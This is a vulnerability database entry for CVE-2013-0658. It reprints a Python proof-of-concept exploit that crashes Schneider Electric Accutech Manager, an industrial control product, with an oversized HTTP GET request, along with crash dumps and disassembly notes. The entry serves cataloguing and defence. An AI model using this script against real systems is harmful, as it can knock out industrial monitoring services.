Details of VAR-E-201301-0209

ID

VAR-E-201301-0209

CVE

cve_id:

CVE-2013-0658

Trust: 1.9

sources: BID: 57651 // EXPLOIT-DB: 24474 // EDBNET: 46590

EDB ID

24474

TITLE

Schneider Electric Accutech Manager - Heap Overflow (PoC) - Windows dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 24474

DESCRIPTION

Schneider Electric Accutech Manager - Heap Overflow (PoC). CVE-2013-0658CVE-89691 . dos exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 24474

AFFECTED PRODUCTS

vendor:

schneider

model:

electric accutech manager

scope:

version:

Trust: 1.0

sources: EXPLOIT-DB: 24474

EXPLOIT

#Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip

import socket
import sys

host = "192.168.163.128"

port = 2537

buf = "\x41" * 400

req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")

print " [+] Connecting to %s:%d" % (host, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send(req)
data = s.recv(1024)
s.close()

#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
#7c91142e 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=????????
#----snip----
#text:0040DE91 push offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96 call nullsub_1
#.text:0040DE9B lea eax, [ebp+cbTransfer]
#.text:0040DEA1 push eax ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2 push esi ; int
#.text:0040DEA3 call sub_40E006
#.text:0040DEA8 add esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.

Trust: 1.0

sources: EXPLOIT-DB: 24474

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 24474

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 24474

TYPE

Heap Overflow (PoC)

Trust: 1.0

sources: EXPLOIT-DB: 24474

CREDITS

Evren Yalçın

Trust: 0.6

sources: EXPLOIT-DB: 24474

EXTERNAL IDS

db:	NVD	id:	CVE-2013-0658	Trust: 1.9
db:	EXPLOIT-DB	id:	24474	Trust: 1.6
db:	EDBNET	id:	46590	Trust: 0.6
db:	BID	id:	57651	Trust: 0.3

sources: BID: 57651 // EXPLOIT-DB: 24474 // EDBNET: 46590

REFERENCES

url:	https://nvd.nist.gov/vuln/detail/cve-2013-0658	Trust: 1.6
url:	https://www.exploit-db.com/exploits/24474/	Trust: 0.6
url:	http://www.schneider-electric.com/site/home/index.cfm/ww/?selectcountry=true	Trust: 0.3

sources: BID: 57651 // EXPLOIT-DB: 24474 // EDBNET: 46590

SOURCES

db:	BID	id:	57651
db:	EXPLOIT-DB	id:	24474
db:	EDBNET	id:	46590

LAST UPDATE DATE

2022-07-27T09:38:03.122000+00:00

SOURCES UPDATE DATE

db:

BID

id:

57651

date:

2013-05-13T05:12:00

SOURCES RELEASE DATE

db:	BID	id:	57651	date:	2013-01-21T00:00:00
db:	EXPLOIT-DB	id:	24474	date:	2013-02-10T00:00:00
db:	EDBNET	id:	46590	date:	2013-02-10T00:00:00